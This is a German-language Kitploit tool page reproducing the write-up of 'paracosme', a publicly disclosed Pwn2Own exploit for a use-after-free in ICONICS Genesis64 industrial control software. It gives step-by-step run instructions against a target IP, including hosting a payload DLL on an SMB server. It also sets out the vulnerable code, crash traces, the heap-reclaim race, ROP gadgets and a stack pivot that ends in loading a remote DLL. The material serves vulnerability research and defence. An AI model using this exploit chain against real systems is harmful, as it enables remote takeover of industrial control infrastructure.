Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
paracosme — Paracosme is a zero-click remote memory corruption exploit that compromises ICONICS Genesis64 which was demonstrated successfully on stage during the Pwn2Own Miami 2022 competition. | Kitploit
Tools/GitHubGitHub/0vercl0k/paracosme
Vulnerability AnalysisExploitationSCADA/ICS SecurityPenetration TestingPayload DevelopmentBinary ExploitationArchived
GitHub0vercl0k/paracosme

paracosme

Paracosme is a zero-click remote memory corruption exploit that compromises ICONICS Genesis64 which was demonstrated successfully on stage during the Pwn2Own Miami 2022 competition.

Repository anzeigen
9022vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Paracosme - CVE-2022-33318 - Remote Code Execution in ICONICS Genesis64

Paracosme ist ein von mir geschriebener Memory-Corruption-Exploit, der gegen die von ICONICS entwickelte Suite Genesis64 v10.97.1 gerichtet ist, um Remote Code Execution zu erreichen.

Der Exploit wurde während des Pwn2Own 2022 Miami-Wettbewerbs vorgeführt, der auf der S4x22 Conference stattfand. Du kannst darüber in Teilnahme am Pwn2Own ICS 2022 Miami: Ausnutzen einer Zero-Click-Remote-Memory-Corruption in ICONICS Genesis64 lesen.

Die Schwachstelle erreichte einen CVSS-Score von 9,8 und erhielt die Kennungen CVE-2022-33318 / ZDI-22-1041. Sie wurde in Genesis64 10.97.2 behoben. Du kannst außerdem die Advisory ICSA-22-202-04 sowie das Whitepaper zu Sicherheitslücken der ICONICS Suite von ICONICS lesen.

Du findest den Exploit-Code in src/paracosme.py, einen PoC zum Auslösen des Absturzes bzw. zur Überprüfung, ob du betroffen bist, in src/paracosme-poc.py, und das auf dem Zielsystem ausgeführte Payload in src/payload.

Bin ich betroffen?

Der beste Weg, um herauszufinden, ob du betroffen bist, ist, Page Heap für GenBroker64.exe zu aktivieren, den Dienst neu zu starten, einen Debugger an GenBroker64.exe anzuhängen, paracosme-poc.py gegen deinen Server auszuführen – dann solltest du Abstürze wie im Folgenden sehen:

Du musst einen Debugger an den Zielprozess anhängen, um den Absturz zu sehen; andernfalls ignoriert die Anwendung ihn.

Den Exploit ausführen

Der Exploit wurde nur unter Windows getestet, sollte aber auch auf Linux-Plattformen funktionieren:

  1. Installiere impacket mit: pip3 install impacket
  2. Deaktiviere alle auf deinem Rechner laufenden SMB-Server mit sc config lanmanserver start=disabled und starte neu
  3. Starte einen SMB-Server mit smbserver.py (Teil der impacket-Beispiele) mit: python src\smbserver.py -smb2support x bin
  4. Starte den Exploit mit python src\paracosme.py --target <ip>

Der Exploit

Weitere Details findest du in Teilnahme am Pwn2Own ICS 2022 Miami: Ausnutzen einer Zero-Click-Remote-Memory-Corruption in ICONICS Genesis64.

Überblick über die Schwachstelle

Paracosme nutzt eine Use-after-Free-Schwachstelle im Prozess GenBroker64 aus, um auf einem Windows-21H2-x64-System Remote Code Execution zu erreichen.

Im Wesentlichen lauscht der GenBroker64-Prozess auf dem TCP-Port 38080 und kann nach einem Handshake mit einem Client verschiedene Pakete deserialisieren. Der Fehler, den ich gefunden habe, befindet sich im Code, der das Lesen einer VARIANT vom Netzwerk-Socket behandelt. Im Grunde besteht ein VARIANT aus einem Typ und einem Wert. Die Funktion wirkt auf den ersten Blick gut geschrieben und bemüht sich, nur bestimmte Typen zu entpacken. So sieht sie aus:

root@kitploit:~
bool CheckVariantType(VARTYPE VarType) {
  if((VarType & 0x2FFF) != VarType) {
    return false;
  }

  switch(VarType & 0xFFF) {
    case VT_EMPTY:
    case VT_NULL:
    case VT_I2:
    case VT_I4:
    case VT_R4:
    case VT_R8:
    case VT_CY:
    case VT_DATE:
    case VT_BSTR:
    case VT_ERROR:
    case VT_BOOL:
    case VT_VARIANT:
    case VT_I1:
    case VT_UI1:
    case VT_UI2:
    case VT_UI4:
    case VT_I8:
    case VT_UI8:
    case VT_INT:
    case VT_UINT:
    case VT_HRESULT:
    case VT_FILETIME:
      return true;
      break;
    default:
      return false;
  }
}

size_t VariantTypeToSize(VARTYPE VarType) {
  switch(VarType) {
    case VT_I1: return 1;
    case VT_UI2: return 2;
    case VT_UI4:
    case VT_INT:
    case VT_UINT:
    case VT_HRESULT:
      return 4;
    case VT_I8:
    case VT_UI8:
    case VT_FILETIME:
      return 8;
    default:
      return 0;
  }
}

void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
    TRY {
        return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
    } CATCH_ALL(e) {
        VariantClear(Variant);
    }
}

HRESULT Utils::ReadVariant_(tagVARIANT *Variant, Archive_t *Archive, int Level) {
  VARTYPE VarType = Archive.ReadUint16();
  if((VarType & VT_ARRAY) != 0) {
      // Special logic to unpack arrays..
      return ..;
  }

  Size = VariantTypeToSize(VarType);
  if (Size) {
      Variant->vt = VarType;
      return Archive.ReadInto(&Variant->decVal.8, Size);
  }

  if(!CheckVariantType(VarType)) {
      // ...
      throw Something();
  }

  return Archive >> Variant;
}

Die Funktion implementiert selbst das Entpacken von Arrays sowie das Lesen einfacher Variant-Typen. Wenn sie jedoch etwas empfängt, das keiner dieser beiden Kategorien entspricht, fällt sie auf den operator>> der Archiv-Instanz zurück. Bei dieser Archiv-Instanz handelt es sich um ein Objekt, das vom Microsoft Foundation Class-Framework bereitgestellt wird und die Serialisierung & Deserialisierung verschiedener Objekte übernimmt. Dieser Code ist eigentlich Open Source und du findest ihn in C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30133\atlmfc\src\mfc\olevar.cpp, aber hier ist er:

root@kitploit:~
CArchive& AFXAPI operator>>(CArchive& ar, COleVariant& varSrc) {
  LPVARIANT pSrc = &varSrc;
// ...
  switch(pSrc->vt) {
// ...
    case VT_DISPATCH:
    case VT_UNKNOWN: {
      LPPERSISTSTREAM pPersistStream = NULL;
      CArchiveStream stm(&ar);
      CLSID clsid;
      ar >> clsid.Data1;
      ar >> clsid.Data2;
      ar >> clsid.Data3;
      ar.EnsureRead(&clsid.Data4[0], sizeof clsid.Data4);
      SCODE sc = CoCreateInstance(clsid, NULL,
        CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
        pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
        (void**)&pSrc->punkVal);
      if(sc == E_INVALIDARG) {
        sc = CoCreateInstance(clsid, NULL,
          CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
          pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
          (void**)&pSrc->punkVal);
      }
      AfxCheckError(sc);
      TRY {
        sc = pSrc->punkVal->QueryInterface(
          IID_IPersistStream, (void**)&pPersistStream);
        if(FAILED(sc)) {
          sc = pSrc->punkVal->QueryInterface(
            IID_IPersistStreamInit, (void**)&pPersistStream);
        }
        AfxCheckError(sc);
        AfxCheckError(pPersistStream->Load(&stm));
      } CATCH_ALL(e) {
        if(pPersistStream != NULL) {
          pPersistStream->Release();
        }
        pSrc->punkVal->Release();
        THROW_LAST();
      }
      END_CATCH_ALL
      pPersistStream->Release();
    }
    return ar;
  }
}

Die Funktion ist größtenteils unspektakulär, weil sie auch Logik zum Entpacken trivialer Typen enthält, aber was meine Aufmerksamkeit erregte, waren VT_DISPATCH / VT_UNKNOWN.

Was zum Teufel? Du kannst eine beliebige COM-Objektklassen-ID senden, die entweder IPersistStream oder IPersistStreamInit implementiert, und das Objekt wird geladen, indem IPersistream::Load aufgerufen wird, um es zu initialisieren. Obwohl das überraschend und eine eigenartige Funktion ist, fand ich das aus Sicherheitssicht nicht wirklich interessant, weil ich einen weiteren Fehler in einem COM-Objekt finden müsste, das auf einem Standard-Windows 10 verfügbar ist.

Schauen wir uns nun den folgenden Code genauer an:

root@kitploit:~
SCODE sc = CoCreateInstance(clsid, NULL,
  CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
  pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
  (void**)&pSrc->punkVal); <-------------- [[0]]

if(sc == E_INVALIDARG) {
  sc = CoCreateInstance(clsid, NULL,
    CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
    pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
    (void**)&pSrc->punkVal);
}

AfxCheckError(sc);
TRY {
  sc = pSrc->punkVal->QueryInterface(
    IID_IPersistStream, (void**)&pPersistStream);
  if(FAILED(sc)) {
    sc = pSrc->punkVal->QueryInterface(
      IID_IPersistStreamInit, (void**)&pPersistStream);
  }
  AfxCheckError(sc);
  AfxCheckError(pPersistStream->Load(&stm));
} CATCH_ALL(e) {
  if(pPersistStream != NULL) {
    pPersistStream->Release();
  }
  pSrc->punkVal->Release();
  THROW_LAST();
}

Der CoCreateInstance-Aufruf schreibt den COM-Instanzzeiger direkt in pSrc->punkVal, also die resultierende Variante, die in einem Aufrufer einige Frames weiter oben gespeichert wird. Wenn dann IStreamPersist::Load eine Ausnahme auslöst, wird diese abgefangen und IUnknown::Release wird sowohl auf dem IUnknown- als auch auf dem IPersistStream-Interface aufgerufen, wodurch das COM-Objekt freigegeben wird und pSrc->punkVal als hängender Zeiger zurückbleibt. Der andere interessante Punkt ist, dass der Catch-Block danach die Ausnahme erneut auslöst, die vom folgenden Code abgefangen wird:

root@kitploit:~
void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
    TRY {
        return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
    } CATCH_ALL(e) {
        VariantClear(Variant);
    }
}

In diesem Stadium ist die Variante bereits freigegeben, aber ihr Typ und Wert wurden nicht aktualisiert/geändert, sodass dieser VariantClear-Aufruf eine zweite IUnknown::Release-Freigabe auslöst, was den folgenden Absturz erzeugt:

root@kitploit:~
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
OLEAUT32!VarWeekdayName+0x22468:
00007ffa`e620c7f8 488b01          mov     rax,qword ptr [rcx] ds:00000000`2e5a2fd0=????????????????

0:006> kp
 # Child-SP          RetAddr           Call Site
00 00000000`093bad20 00007ffa`e620cb31 OLEAUT32!VarWeekdayName+0x22468
01 00000000`093bad50 00000001`4000c20a OLEAUT32!VariantClear+0x21
02 00000000`093bad80 00007ffa`ccfa10ea GenBroker64+0xc20a
03 00000000`093badb0 00007ffa`ccfa2ca6 VCRUNTIME140_1+0x10ea
04 00000000`093bade0 00007ffa`ccfa3ae5 VCRUNTIME140_1!_NLG_Return2+0x1b56
05 00000000`093baf10 00007ffa`ccfa2258 VCRUNTIME140_1!_NLG_Return2+0x2995
06 00000000`093baf40 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x1108
07 00000000`093bafe0 00007ffa`e6ce121f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
08 00000000`093bb050 00007ffa`e6c5d9c2 ntdll!_chkstk+0x19f
09 00000000`093bb080 00007ffa`ccfa3d82 ntdll!RtlUnwindEx+0x522
0a 00000000`093bb790 00007ffa`ccfa1635 VCRUNTIME140_1!_NLG_Return2+0x2c32
0b 00000000`093bb880 00007ffa`ccfa19e6 VCRUNTIME140_1!_NLG_Return2+0x4e5
0c 00000000`093bb920 00007ffa`ccfa232b VCRUNTIME140_1!_NLG_Return2+0x896
0d 00000000`093bbaf0 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x11db
0e 00000000`093bbb90 00007ffa`e6ce119f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
0f 00000000`093bbc00 00007ffa`e6caa229 ntdll!_chkstk+0x11f
10 00000000`093bbc30 00007ffa`e6cdfe0e ntdll!RtlRaiseException+0x399
11 00000000`093bc340 00007ffa`e439a839 ntdll!KiUserExceptionDispatcher+0x2e
12 00000000`093bd080 00007ffa`ccfa2753 KERNELBASE!RaiseException+0x69
13 00000000`093bd160 00007ffa`e6ce05e6 VCRUNTIME140_1!_NLG_Return2+0x1603
14 00000000`093bd240 00007ffa`ccc1ab24 ntdll!RtlCaptureContext+0x566
15 00000000`093bf980 00000001`4001c574 mfc140u+0x27ab24
16 00000000`093bfa20 00000001`40023241 GenBroker64+0x1c574
17 00000000`093bfae0 00000001`40025fdc GenBroker64+0x23241
18 00000000`093bfb40 00000001`4008afee GenBroker64+0x25fdc
19 00000000`093bfb80 00000001`4008a499 GenBroker64+0x8afee
1a 00000000`093bfc80 00000001`400858bd GenBroker64+0x8a499
1b 00000000`093bfda0 00000001`400860a9 GenBroker64+0x858bd
1c 00000000`093bfe20 00007ffa`e5187bd4 GenBroker64+0x860a9
1d 00000000`093bff30 00007ffa`e6cace71 KERNEL32!BaseThreadInitThunk+0x14
1e 00000000`093bff60 00000000`00000000 ntdll!RtlUserThreadStart+0x21

Wow, ziemlich cool. Wir können das oben Genannte auslösen, indem wir ein COM-Objekt instanziieren, das IPersistStream implementiert, und dafür sorgen, dass es eine Ausnahme auslöst, wenn Load aufgerufen wird. Den Auslöse-Code findest du in paracosme-poc.py, der den Prozess GenBroker64.exe auf dem Zielsystem zum Absturz bringen sollte. Du kannst außerdem Page Heap für GenBroker64.exe aktivieren, um sofort einen Absturz zu erhalten.

RIP erlangen

Wenn VariantClear auf die Variante aufgerufen wird, wird ein virtueller Aufruf an die Methode Release ausgelöst, um sie freizugeben. Da dies ein virtueller Aufruf ist, liest die Funktion eine VTable, holt an einem festen Offset einen Funktionszeiger und ruft ihn auf. Bevor das passiert, bringen wir den Thread in einen Wettlauf, um die ole32!CFileMoniker-Instanz zurückzuerobern und durch kontrollierte Daten zu ersetzen (siehe RacerThread_t). Dadurch kontrollieren wir den VTable-Zeiger und sind nur noch eine Instruktion davon entfernt, RIP zu kapern. Das Folgende zeigt die entsprechende Assembly-Instruktion, bei der @rcx auf den Chunk zeigt, den wir vollständig kontrollieren:

root@kitploit:~
0:011> u .l3
OLEAUT32!VariantClear+0x20b:
00007ffb`0df751cb  mov     rax,qword ptr [rcx]
00007ffb`0df751ce  mov     rax,qword ptr [rax+10h]
00007ffb`0df751d2  call    qword ptr [00007ffb`0df82660]

0:011> u poi(00007ffb`0df82660)
OLEAUT32!SetErrorInfo+0xec0:
00007ffb`0deffd40  jmp     rax

Da wir die volle Kontrolle über den zurückeroberten Chunk haben, kontrollieren wir @rax. Um den Kontrollfluss zu kapern, müssen wir @rax auf einen Zeiger auf den Wert setzen, mit dem wir @rip kapern wollen. Das große Problem hier ist ASLR, und wir haben kein Informationsleck.

Glücklicherweise besitzt das Modul GenBroker64.exe keine dynamische Basisadresse, was bedeutet, dass wir es nutzen können, um eine Stelle zu finden, die auf ein interessantes Gadget zeigt, um unsere Kette zu starten.

root@kitploit:~
0:012> !dh genbroker64

File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
    8664 machine (X64)
       7 number of sections
616D3B07 time date stamp Mon Oct 18 02:14:47 2021

       0 file pointer to symbol table
       0 number of symbols
      F0 size of optional header
      22 characteristics
            Executable
            App can handle >2gb addresses

OPTIONAL HEADER VALUES
            High entropy VA supported
            NX compatible
            Terminal server aware

ROP

Das erste verwendete Gadget ist ein Gadget, mit dem wir @rip vollständig kontrollieren können (ohne Indirektion):

root@kitploit:~
0:011> u poi(1400aed18)
00007ffb2137ffe0   sub     rsp,38h
00007ffb2137ffe4   test    rcx,rcx
00007ffb2137ffe7   je      00007ffb`21380015
00007ffb2137ffe9   cmp     qword ptr [rcx+10h],0
00007ffb2137ffee   jne     00007ffb`2137fff4
 ...
00007ffb2137fff4   and     qword ptr [rsp+40h],0
00007ffb2137fffa   mov     rax,qword ptr [rcx+10h]
00007ffb2137fffe   call    qword ptr [mfc140u!__guard_dispatch_icall_fptr (00007ffb`21415b60)]

Wir können die Adresse des nächsten Gadgets an Offset +0x10 in dem von uns zurückeroberten Chunk (auf den @rcx zeigt) platzieren, was großartig ist.

Das zweite Gadget, das wir verwenden, verlagert den Stack auf den zurückeroberten Heap-Chunk, über den wir die volle Kontrolle haben:

root@kitploit:~
0:008> u 14005bd25
000000014005bd25   mov     esp,ecx
000000014005bd27   cmp     byte ptr [1400fe788],0
000000014005bd2e   je      000000014005bebc
...
000000014005bebc   lea     r11,[rsp+60h]
000000014005bec1   mov     rbx,qword ptr [r11+30h]
000000014005bec5   mov     rbp,qword ptr [r11+38h]
000000014005bec9   mov     rsi,qword ptr [r11+40h]
000000014005becd   mov     rsp,r11
000000014005bed0   pop     r15
000000014005bed2   pop     r14
000000014005bed4   pop     r13
000000014005bed6   pop     r12
000000014005bed8   pop     rdi
000000014005bed9   ret

Das Lustige daran ist, dass die Adresse unseres Heap-Chunks (immer?) an einer Stelle zu liegen scheint, die in einen 32-Bit-Integer passt, und genau deshalb funktioniert mov esp, ecx einwandfrei.

An diesem Punkt haben wir eine ROP-Kette, aber nicht besonders viel Platz, was ziemlich frustrierend war. Ich habe viel Zeit damit verbracht, die Sterne auszurichten, und bin schließlich auf eine Sequenz von Gadgets gekommen, die LoadLibraryW mit einem entfernten SMB-Pfad aufruft, der auf eine DLL-Datei zeigt, die unser Payload enthält. Wenn du an den Details der Kette interessiert bist, sieh dir paracosme.py@241 an.

Autoren

  • Axel '0vercl0k' Souchet
Tool herunterladen